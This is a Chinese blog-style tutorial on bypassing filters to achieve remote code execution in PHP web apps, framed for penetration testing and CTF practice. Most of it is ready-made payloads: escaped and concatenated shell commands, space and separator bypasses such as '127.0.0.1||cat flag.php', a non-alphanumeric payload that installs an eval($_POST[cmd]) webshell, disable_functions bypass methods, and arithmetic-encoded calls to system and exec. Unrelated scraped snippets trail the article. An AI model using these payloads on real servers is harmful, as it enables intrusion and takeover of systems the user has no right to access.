干货分享 | RCE常见的Bypass思路

一颗小胡椒2022-08-10 07:21:31

在渗透或者CTF中,总会有特殊函数被过滤,如'ls、cat、tac'。

防火墙将这些函数加入黑名单,我们需要找一些方法来代替,用fuzz给他们替换,就出现了BYpass思路。

这里总结了RCE常见的Bypass思路

学习就是先走一回别人的老路,知识点到量才可以开创自己的新路。

一、RCE漏洞

远程代码执行漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。

原理:服务器没有对执行命令的函数进行过滤,导致命令被执行。

二、常见的命令执行函数

PHP代码执行函数

eval()
assert()
preg_replace()
create_function()
call_user_func()
file_get_contents():将整个文件读入一个字符串
readfile():读取文件并写入到输出缓冲
scandir():列出指定路径中的文件和目录
direname():给出一个包含有指向一个文件的全路径的字符串,本函数返回去掉文件名后的目录名
getcwd():取得当前工作目录
chdir($directory):将 PHP 的当前目录改为 directory
get_defined_vars():获取一个环境变量的值
phpversion():获取当前的PHP版本
chr():返回指定的字符
rand():产生一个随机整数
time():返回当前的 Unix 时间戳
localtime():取得本地时间
localtime(time()) 返回一个数组,Array [0] 为一个 0~60 之间的数字
hex2bin():转换十六进制字符串为二进制字符串
ceil():进一法取整
sinh():双曲正弦
cosh():双曲余弦
tan():正切
floor():舍去法取整
sqrt():平方根
crypt():单向字符串散列hebrevc:将逻辑顺序希伯来文(logical-Hebrew)转换为视觉顺序希伯来文(visual-Hebrew),并且转换换行符
ord:返回字符串的第一个字符的 ASCII 码

命令执行函数

eval()、system()、shell_exec()、popen()、proc_popen()、passthru()、pcntl_exec()

三、绕过方式

过滤关键字,如cat、more

1.替换法

使用同意思字符串代替

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
sort:可以查看

2.进行转义

cat flag ->ca\t fl\ag
cat  flag -> ca"t flag 
cat flag -> ca't flag

3.进行拼接

a=fl;b=ag;cat$IFS$a$b

4.空变量$*和$@,$x,${x}绕过

5.反引号绕过

`command`

6.Base64编码绕过

7.RE绕过

过滤命令执行函数,如system

1.借助其他的函数

echo
system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
highlight_file()
反引号 同shell_exec()

2.URL编码绕过

base64
hex
oct

3.内敛绕过

echo `ls`;
echo $(ls);
?><?=`ls`;
?><?=$(ls);

过滤文件读取

绕过

curl file:///flag
strings flag
uniq -c flag
bash -v flag
rev flag

过滤空格

<> (cat<>flag)
%20(space)
%09(tab) (cat%09flag.php)
$IFS$9
${IFS}
$IFS
(cat,flag)

过滤目录分隔符

1.多管道命令绕过

127.0.0.1||cat%20flag.php

过滤分隔符

; //分号
| //执行右边命令
|| //执行前面命令
& //都执行

IP进制绕过

ip地址过滤可将IP地址转化为数字IP地址

IP地址用“点分十进制”表示,用“.”分成4部分;数字地址是一串用“十进制”表示的数字
比如:百度的IP地址“39.156.69.79”转换成数字地址就是“664552783”。在浏览器中输入664552783就可以访问百度网站
转化网址:http://www.msxindl.com/tools/ip/ip_num.asp

四、一些骚操作

RCE进行无数字字母绕过

echo urlencode(~'phpinfo').'<br />'; //得到%8F%97%8F%96%91%99%90
echo urlencode(~'assert').'<br />'; //得到%9E%8C%8C%9A%8D%8B
//assert();
echo urlencode(~'(eval($_POST[cmd]))'); //得到%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6
?>
?code=(~%8F%97%8F%96%91%99%90)(); //列出phpinfo
?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6); //上传一句话马

disable_function绕过总结

常规绕过:exec,shell_exec,system,passthru,popen,proc_open
利用环境变量LD_PRELOAD绕过(★):mail,imap_mail,error_log,mb_send_mail
利用pcntl_exec绕过利用imap_open函数任意命令执行(CVE-2018-19518)
利用系统组件window com绕过利用Apache+mod_cgi+.htaccess绕过
利用ImageMagick漏洞绕过利用PHP7.4的FFI绕过
利用 ShellShock绕过(CVE-2014-6271)
蚁剑插件

'数学'RCE

1.利用数学函数来运算得到函数名和命令,使用动态函数来执行命令

index.php?c=base_convert('37907361743',10,36)dechex('1598506324');($$pi){pi}(($$pi){abs})&pi=system&abs=<command>
hex2bin(_GET)  -> base_convert('37907361743',10,36)dechex('1598506324'); dechex("1598506324")->5f474554
($$pi){pi}(($$pi){abs})&pi=system&abs=<command> -> ($_GET){pi}($_GET){abs}  //{}可以代替[]

2.拼凑出getallheaders利用HeaderRCE

getallheaders — 获取全部 HTTP 请求头信息

/index.php?c=$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})

在HTTP请求的Header中直接添加命令即可

base_convert(696468,10,36) => "exec"
$pi(8768397090111664438,10,30) => "getallheaders"
exec(getallheaders(){1})
//操作xx和yy,中间用逗号隔开,echo都能输出
echo xx,yy

3.拼凑出exec、system等命令执行函数直接RCE

/index.php?c=($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))
//分析:exec('hex2bin(dechex(109270211257898))') => exec('cat f*')
/index.php?c=base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))
//分析:system('cat'.dechex(16)^asinh^pi) => system('cat *')

4.异或

<?php
$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh',  'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
for($k=1;$k<=sizeof($payload);$k++){
	for($i = 0;$i < 9; $i++){
    	for($j = 0;$j <=9;$j++){
       	 $exp = $payload[$k] ^ $i.$j;
       	 echo($payload[$k]."^$i$j"."==>$exp");
       	 echo "<br />";
}
}
}

/index.php?c=$pi=(is_nan^(6).(4)).(rand^(7).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat /f*

参考

https://cloud.tencent.com/developer/article/1599149
https://xz.aliyun.com/t/8354
https://blog.csdn.net/xiaofengdada/article/details/122614693

声明:本公众号所分享内容仅用于网安爱好者之间的技术讨论,禁止用于违法途径,所有渗透都需获取授权!否则需自行承担,本公众号及原作者不承担相应的后果.

echo
本作品采用《CC 协议》,转载必须注明作者和本文链接
研究人员警告用户不要从第三方零售商处购买智能扬声器,并建议他们按下Echo的静音按钮,以实际禁用麦克风。作为对MWR调查结果的回应,亚马逊发布了一份声明,称用户保护自己免受此类篡改的最佳方式始终是直接从该公司购买Echo。拥有2017款设备的用户不会受到这一最新黑客攻击的影响,因为新机型引入了一种缓解措施,以防止设备外部启动的方式连接了两个关键的调试板。
柯林斯于去年11月21日在阿肯色州本顿维尔拜访他的同事贝茨家时去世。第二天早上,科林斯的尸体在一个热水浴缸里被发现,贝茨被指控犯有一级谋杀罪。据推测,当局认为Echo设备可能在事件当晚拾取并上传到亚马逊服务器的音频记录可能包含与正在调查的案件有关的证据。检方声称,在他杀死柯林斯后,这些水被用来冲走证据。
Ethyrial: Echoes of Yore是由独立游戏发行商Gellyberry Studios开发的一款大型多人在线角色扮演游戏(MMORPG),该游戏的主服务器遭受勒索软件攻击,攻击者加密了所有数据,包括本地备份驱动器,并要求支付赎金以获取解密密钥。该游戏开发商不相信支付赎金能够获得解密密钥,因此他们决定手动恢复所有受影响的系统。此次事件影响了该游戏的17000个玩家账号,导致这些账号在
systeminfo | findstr /B /C:"OS Name" /C:"OS Version". systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" #中文操作系统。schtasks /query /fo LIST /v #query显示所有计划任务。
英国皇家霍洛威大学和意大利卡利亚里大学的研究人员发现可利用亚马逊智能音箱 Amazon Echo 自己的扬声器发出语音命令,迫使其打开门,拨打电话和进行未经授权的购买,以及控制其它智能电器。研究人员发现,在唤醒词之后紧跟着一个可执行的命令,Amazon Echo 就会执行它,执行敏感命令需要口头确认,但只要在发出命令 6 秒后加上 yes 就能绕过。这一攻击被研究人员称为 Alexa vs. Al
访问http://ip:9200 检查elasticsearch是否正常启动NO.2 安装kibanaapt-get install kibanaserver.host: "ip"service elasticsearch start
RCE系统交互条件与受限环境下的利用
shell编程15例(一)
2022-03-23 07:53:04
1、编写hello world脚本 #!/bin/bash # 编写hello world脚本 echo "Hello World!" 2、通过位置变量创建 Linux 系统账户及密码 #!/bin/bash # 通过位置变量创建 Linux 系统账户及密码
内网渗透之内网信息查看常用命令
顾名思义,无需将恶意文件传到目标服务器/机器上,直接利用powershell的特性加载到内存执行。为了在红队行动中更隐蔽的实施攻击以及横向移动,同时还可以解决目标不出网只能通过dns上线时的棘手问题,利用powershell可以避免一行行echo
一颗小胡椒
暂无描述